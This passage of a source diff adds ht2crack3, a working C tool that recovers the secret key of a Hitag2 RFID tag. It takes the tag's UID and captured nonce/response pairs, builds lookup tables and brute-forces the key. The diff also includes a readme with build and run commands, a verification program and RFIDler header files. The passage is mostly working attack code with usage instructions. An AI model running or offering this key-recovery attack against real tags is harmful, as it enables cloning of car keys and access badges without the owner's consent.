(klower=data->klowerstart; klower < (data->klowerstart + data->klowerrange); klower++) { + printf("trying klower = 0x%05lx\n", klower); + // build table + count = 0; + for (y=0; y<0x40000; y++) { + // create klowery + klowery = (y << 16) | klower; + // check for cases where right most bit of fc doesn't matter + + if (fnP(klowery)) { + // store klowery + Tk[count].klowery = klowery; + // build the initial prng state + hstate.shiftreg = (klower << 32) | uid; + // zero the lfsr so only 0s are inserted + hstate.lfsr = 0; + // insert y into shiftreg and extract keystream, reversed order + b = 0; + ytmp = y; + for (j=0; j<2; j++) { + hstate.shiftreg = hstate.shiftreg | ((ytmp & 0xffff) << 48); + for (i=0; i<16; i++) { + hstate.shiftreg = hstate.shiftreg >> 1; + bit = hitag2_crypt(hstate.shiftreg); + b = (b >> 1) | (bit << 31); + } + ytmp = ytmp >> 16; + } + + // store the xor of y and b0-17 + Tk[count].yxorb = y ^ (b & 0x3ffff); + + // get and store inverse of next bit from prng + // don't need to worry about shifting in the new bit because + // it doesn't affect the filter function anyway + hstate.shiftreg = hstate.shiftreg >> 1; + Tk[count].notb32 = hitag2_crypt(hstate.shiftreg) ^ 0x1; + + // increase count + count++; + } + } + + qsort(Tk, count, sizeof(struct Tklower), Tk_cmp); + + // look for matches + for (kmiddle=0; kmiddle<0x40000; kmiddle++) { + // loop over nRaR pairs + badguess = 0; + found = 0; + for (i=0; (i> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000); + printf("\n\nSuccess - key = %012lX\n", foundkey); + exit(0); + + return (void *)foundkey; + } + + } + + } + } + + return NULL; +} +int main(int argc, char *argv[]) +{ + FILE *fp; + int i; + pthread_t threads[NUM_THREADS]; + void *status; + + uint64_t uid; + uint64_t klowerstart; + unsigned int numnrar = 0; + char *buf = NULL; + char *buft1 = NULL; + char *buft2 = NULL; + size_t lenbuf = 64; + + struct nRaR *TnRaR = NULL; + struct threaddata *tdata = NULL; + + if (argc < 3) { + printf("ht2crack3 uid nRaRfile\n"); + exit(1); + } + + // read the UID into internal format + if (!strncmp(argv[1], "0x", 2)) { + uid = rev32(hexreversetoulong(argv[1] + 2)); + } else { + uid = rev32(hexreversetoulong(argv[1])); + } + + // create table of nR aR pairs + TnRaR = (struct nRaR *)malloc(sizeof(struct nRaR) * NUM_NRAR); + + // open file + fp = fopen(argv[2], "r"); + if (!fp) { + printf("cannot open nRaRfile\n"); + exit(1); + } + + // set klowerstart (for debugging) + if (argc > 3) { + klowerstart = strtol(argv[3], NULL, 0); + } else { + klowerstart = 0; + } + + // read in nR aR pairs + numnrar = 0; + buf = (char *)malloc(lenbuf); + if (!buf) { + printf("cannot malloc buf\n"); + exit(1); + } + + while (getline(&buf, &lenbuf, fp) > 0) { + buft1 = strchr(buf, ' '); + if (!buft1) { + printf("invalid file input on line %d\n", numnrar + 1); + exit(1); + } + *buft1 = 0x00; + buft1++; + buft2 = strchr(buft1, '\n'); + if (!buft2) { + printf("no CR on line %d\n", numnrar + 1); + exit(1); + } + *buft2 = 0x00; + if (!strncmp(buf, "0x", 2)) { + TnRaR[numnrar].nR = rev32(hexreversetoulong(buf+2)); + TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1+2)); + } else { + TnRaR[numnrar].nR = rev32(hexreversetoulong(buf)); + TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1)); + } + numnrar++; + } + + // close file + fclose(fp); + fp = NULL; + + printf("Loaded %d NrAr pairs\n", numnrar); + + // create table of thread data + tdata = (struct threaddata *)malloc(sizeof(struct threaddata) * NUM_THREADS); + if (!tdata) { + printf("cannot malloc threaddata\n"); + exit(1); + } + + for (i=0; i +#include + + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + + + +int main(int argc, char *argv[]) +{ + Hitag_State hstate; + FILE *fp; + char *line = NULL; + size_t linelen = 0; + long len = 0; + char *nr = NULL; + char *ar = NULL; + uint32_t arval; + uint32_t ks; + char *key; + char *uid; + + if (argc < 4) { + printf("ht2test nRaRfile KEY UID\n"); + exit(1); + } + + fp = fopen(argv[1], "r"); + if (!fp) { + printf("cannot open file\n"); + exit(1); + } + + if (!strncmp(argv[2], "0x", 2)) { + key = argv[2] + 2; + } else { + key = argv[2]; + } + + if (!strncmp(argv[3], "0x", 2)) { + uid = argv[3] + 2; + } else { + uid = argv[3]; + } + + while ((len = getline(&line, &linelen, fp)) > 0) { + if (len > 16) { + ar = strchr(line, ' '); + *ar = 0x00; + ar++; + ar[strlen(ar)-1] = 0x00; + if (!strncmp(line, "0x", 2)) { + nr = line + 2; + } else { + nr = line; + } + hitag2_init(&hstate, rev64(hexreversetoulonglong(key)), rev32(hexreversetoulong(uid)), rev32(hexreversetoulong(nr))); + + arval = strtol(ar, NULL, 16); + ks = hitag2_nstep(&hstate, 32); + + + if ((arval ^ ks) != 0xffffffff) { + printf("FAIL! nR = %s, aR = %s\n", line, ar); + } else { + printf("SUCCESS! nR = %s, aR = %s\n", line, ar); + } + } + } + + fclose(fp); + + return 0; +} + diff --git a/tools/hitag2crack/crack3/readme.md b/tools/hitag2crack/crack3/readme.md new file mode 100644 index 000000000..4d35ad7e0 --- /dev/null +++ b/tools/hitag2crack/crack3/readme.md @@ -0,0 +1,35 @@ +ht2crack3 + + + +Build +----- + +make clean +make + + +Run +--- + +You'll need a file consisting of 136 (or more) nR aR pairs. These are the +encrypted nonces and challenge response values. They should be in hex with +one pair per line, e.g.: +0x12345678 0x9abcdef0 + +./ht2crack3 UID NRARFILE + +UID is the UID of the tag that you used to gather the nR aR values. +NRARFILE is the file containing the nR aR values. + + +Tests +----- + +If you happen to know the key and want to check that all your nR aR values +are valid (for high-powered demonstrations only, really) then you can use +the ht2test program to check them. It's otherwise massively pointless and a +complete waste of space. + +./ht2test NRARFILE KEY UID + diff --git a/tools/hitag2crack/crack3/rfidler.h b/tools/hitag2crack/crack3/rfidler.h new file mode 100644 index 000000000..c8ce90396 --- /dev/null +++ b/tools/hitag2crack/crack3/rfidler.h @@ -0,0 +1,412 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#include +#include + +// BCD hardware revision for usb descriptor (usb_descriptors.c) +#define RFIDLER_HW_VERSION 0x020 + +// max sizes in BITS +#define MAXBLOCKSIZE 512 +#define MAXTAGSIZE 4096 +#define MAXUID 512 + +#define TMP_LARGE_BUFF_LEN 2048 +#define TMP_SMALL_BUFF_LEN 256 +#define ANALOGUE_BUFF_LEN 8192 + +#define COMMS_BUFFER_SIZE 128 + +#define DETECT_BUFFER_SIZE 512 + +#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period + +// globals + +extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read +extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data +extern BYTE EMU_ThisBit; // The next data bit to transmit +extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0' +extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1' +extern unsigned int EMU_Repeat; // Number of times to transmit full data set +extern BOOL EMU_Background; // Emulate in the background until told to stop +extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit +extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad +extern BYTE ReaderPeriod; // Flag for sample display +extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer +extern BYTE Interface; // user interface - CLI or API +extern BYTE CommsChannel; // user comms channel - USB or UART +extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read +extern BOOL PWD_Mode; // is this tag password protected? +extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN +extern unsigned int Led_Count; // LED status counter, also used for entropy +extern unsigned long Reader_Bit_Count; // Reader ISR bit counter +extern char Previous; // Reader ISR previous bit type + +// RWD (read/write device) coil state +extern BYTE RWD_State; // current state of RWD coil +extern unsigned int RWD_Fc; // field clock in uS +extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks +extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks +extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks +extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks +extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks +extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks +extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks +extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks +extern unsigned int RWD_OC5_config; // Output Compare Module settings +extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value +extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value +extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *RWD_Command_ThisBit; // Current command bit +extern BOOL Reader_ISR_State; // current state of reader ISR + +// NVM variables +// timings etc. that want to survive a reboot should go here +typedef struct { + BYTE Name[7]; // will be set to "RFIDler" so we can test for new device + BYTE AutoRun[128]; // optional command to run at startup + unsigned char TagType; + unsigned int PSK_Quality; + unsigned int Timeout; + unsigned int Wiegand_Pulse; + unsigned int Wiegand_Gap; + BOOL Wiegand_IdleState; + unsigned int FrameClock; + unsigned char Modulation; + unsigned int DataRate; + unsigned int DataRateSub0; + unsigned int DataRateSub1; + unsigned int DataBits; + unsigned int DataBlocks; + unsigned int BlockSize; + unsigned char SyncBits; + BYTE Sync[4]; + BOOL BiPhase; + BOOL Invert; + BOOL Manchester; + BOOL HalfDuplex; + unsigned int Repeat; + unsigned int PotLow; + unsigned int PotHigh; + unsigned int RWD_Gap_Period; + unsigned int RWD_Zero_Period; + unsigned int RWD_One_Period; + unsigned int RWD_Sleep_Period; + unsigned int RWD_Wake_Period; + unsigned int RWD_Wait_Switch_TX_RX; + unsigned int RWD_Wait_Switch_RX_TX; +} StoredConfig; + +// somewhere to store TAG data. this will be interpreted according to the TAG +// type. +typedef struct { + BYTE TagType; // raw tag type + BYTE EmulatedTagType; // tag type this tag is configured to emulate + BYTE UID[MAXUID + 1]; // Null-terminated HEX string + BYTE Data[MAXTAGSIZE]; // raw data + unsigned char DataBlocks; // number of blocks in Data field + unsigned int BlockSize; // blocksize in bits +} VirtualTag; + +extern StoredConfig RFIDlerConfig; +extern VirtualTag RFIDlerVTag; +extern BYTE TmpBuff[NVM_PAGE_SIZE]; +extern BYTE DataBuff[ANALOGUE_BUFF_LEN]; +extern unsigned int DataBuffCount; +extern const BYTE *ModulationSchemes[]; +extern const BYTE *OnOff[]; +extern const BYTE *HighLow[]; +extern const BYTE *TagTypes[]; + +// globals for ISRs +extern BYTE EmulationMode; +extern unsigned long HW_Bits; +extern BYTE HW_Skip_Bits; +extern unsigned int PSK_Min_Pulse; +extern BOOL PSK_Read_Error; +extern BOOL Manchester_Error; +extern BOOL SnifferMode; +extern unsigned int Clock_Tick_Counter; +extern BOOL Clock_Tick_Counter_Reset; + +// smart card lib +#define MAX_ATR_LEN (BYTE)33 +extern BYTE scCardATR[MAX_ATR_LEN]; +extern BYTE scATRLength; + +// RTC +extern rtccTime RTC_time; // time structure +extern rtccDate RTC_date; // date structure + +// digital pots +#define POTLOW_DEFAULT 100 +#define POTHIGH_DEFAULT 150 +#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB) +#define VOLTS_TO_POT 0.019607843F + +// RWD/clock states +#define RWD_STATE_INACTIVE 0 // RWD not in use +#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request +#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period +#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset +#define RWD_STATE_START_SEND 4 // RWD starting send of data +#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap +#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit +#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period +#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier + +// reader ISR states +#define READER_STOPPED 0 // reader not in use +#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading +#define READER_RUNNING 2 // reader reading bits + + +// user interface types +#define INTERFACE_API 0 +#define INTERFACE_CLI 1 + +// comms channel +#define COMMS_NONE 0 +#define COMMS_USB 1 +#define COMMS_UART 2 + +#define MAX_HISTORY 2 // disable most of history for now - memory issue + +// tag write retries +#define TAG_WRITE_RETRY 5 + +// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this +#define MOD_MODE_NONE 0 +#define MOD_MODE_ASK_OOK 1 +#define MOD_MODE_FSK1 2 +#define MOD_MODE_FSK2 3 +#define MOD_MODE_PSK1 4 +#define MOD_MODE_PSK2 5 +#define MOD_MODE_PSK3 6 + +// TAG types - update TagTypes[] in tags.c if you add to this list +#define TAG_TYPE_NONE 0 +#define TAG_TYPE_ASK_RAW 1 +#define TAG_TYPE_FSK1_RAW 2 +#define TAG_TYPE_FSK2_RAW 3 +#define TAG_TYPE_PSK1_RAW 4 +#define TAG_TYPE_PSK2_RAW 5 +#define TAG_TYPE_PSK3_RAW 6 +#define TAG_TYPE_HITAG1 7 +#define TAG_TYPE_HITAG2 8 +#define TAG_TYPE_EM4X02 9 +#define TAG_TYPE_Q5 10 +#define TAG_TYPE_HID_26 11 +#define TAG_TYPE_INDALA_64 12 +#define TAG_TYPE_INDALA_224 13 +#define TAG_TYPE_UNIQUE 14 +#define TAG_TYPE_FDXB 15 +#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat +#define TAG_TYPE_AWID_26 17 +#define TAG_TYPE_EM4X05 18 +#define TAG_TYPE_TAMAGOTCHI 19 +#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram + +// various + +#define BINARY 0 +#define HEX 1 + +#define NO_ADDRESS -1 + +#define ACK TRUE +#define NO_ACK FALSE + +#define BLOCK TRUE +#define NO_BLOCK FALSE + +#define DATA TRUE +#define NO_DATA FALSE + +#define DEBUG_PIN_ON HIGH +#define DEBUG_PIN_OFF LOW + +#define FAST FALSE +#define SLOW TRUE + +#define NO_TRIGGER 0 + +#define LOCK TRUE +#define NO_LOCK FALSE + +#define NFC_MODE TRUE +#define NO_NFC_MODE FALSE + +#define ONESHOT_READ TRUE +#define NO_ONESHOT_READ FALSE + +#define RESET TRUE +#define NO_RESET FALSE + +#define SHUTDOWN_CLOCK TRUE +#define NO_SHUTDOWN_CLOCK FALSE + +#define SYNC TRUE +#define NO_SYNC FALSE + +#define VERIFY TRUE +#define NO_VERIFY FALSE + +#define VOLATILE FALSE +#define NON_VOLATILE TRUE + +#define NEWLINE TRUE +#define NO_NEWLINE FALSE + +#define WAIT TRUE +#define NO_WAIT FALSE + +#define WIPER_HIGH 0 +#define WIPER_LOW 1 + +// conversion for time to ticks +#define US_TO_TICKS 1000000L +#define US_OVER_10_TO_TICKS 10000000L +#define US_OVER_100_TO_TICKS 100000000L +// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it +#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS)) +#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS)) +#define TIMER5_PRESCALER 16 +#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER) + +// other conversions + +// bits to hex digits +#define HEXDIGITS(x) (x / 4) +#define HEXTOBITS(x) (x * 4) diff --git a/tools/hitag2crack/crack3/util.h b/tools/hitag2crack/crack3/util.h new file mode 100644 index 000000000..c2399c37c --- /dev/null +++ b/tools/hitag2crack/crack3/util.h @@ -0,0 +1,147 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +/* + * Hitag Crypto support macros + * These macros reverse the bit order in a byte, or *within* each byte of a + * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.) + */ +#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \ + + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \ + + (((X) << 5) &64) + (((X) << 7) &128) ) +#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8)) +#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16)) +#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32)) + + +unsigned long hexreversetoulong(BYTE *hex); +unsigned long long hexreversetoulonglong(BYTE *hex); + diff --git a/tools/hitag2crack/crack3/utilpart.c b/tools/hitag2crack/crack3/utilpart.c new file mode 100644 index 000000000..210853ec1 --- /dev/null +++ b/tools/hitag2crack/crack3/utilpart.c @@ -0,0 +1,183 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is 